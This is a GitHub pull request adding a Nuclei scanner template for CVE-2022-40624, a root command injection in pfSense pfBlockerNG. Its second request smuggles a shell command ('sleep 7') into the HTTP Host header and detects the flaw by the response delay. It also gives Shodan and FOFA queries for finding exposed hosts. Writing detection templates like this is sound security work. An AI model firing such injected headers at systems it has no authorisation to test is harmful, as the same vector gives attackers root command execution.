Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2022-40624.yaml #11492

Merged
merged 2 commits into from
Jan 20, 2025
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
57 changes: 57 additions & 0 deletions http/cves/2022/CVE-2022-40624.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
id: CVE-2022-40624

info:
name: pfSense pfBlockerNG - OS Command Injection
author: ritikchaddha
severity: critical
description: |
pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header.
impact: |
Allows remote attackers to execute arbitrary code on the affected system
remediation: |
Update to the latest version of pfSense pfBlockerNG to mitigate CVE-2022-40624
reference:
- https://github.com/dhammon/pfBlockerNg-CVE-2022-40624
- https://nvd.nist.gov/vuln/detail/CVE-2022-40624
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-40624
cwe-id: CWE-78
epss-score: 0.00608
epss-percentile: 0.78334
cpe: cpe:2.3:a:pfsense:pfblockerng:*:*:*:*:*:*:*:*
metadata:
vendor: pfsense
product: pfblockerng
shodan-query: "pfBlockerNG"
fofa-query: "pfBlockerNG"
tags: cve,cve2024,pfsense,pfblockerng,rce,sqli,netgate

flow: http(1) && http(2)

http:
- raw:
- |
GET /pfblockerng/www/index.php HTTP/1.1
Host: {{Hostname}}

matchers:
- type: dsl
dsl:
- 'contains(body, "GIF")'
- 'contains(content_type, "image/gif")'
condition: and
internal: true

- raw:
- |+
@timeout: 20s
GET /pfblockerng/www/index.php HTTP/1.1
Host: {{Hostname}}' *; sleep 7; '

unsafe: true
matchers:
- type: dsl
dsl:
- duration>=7
Loading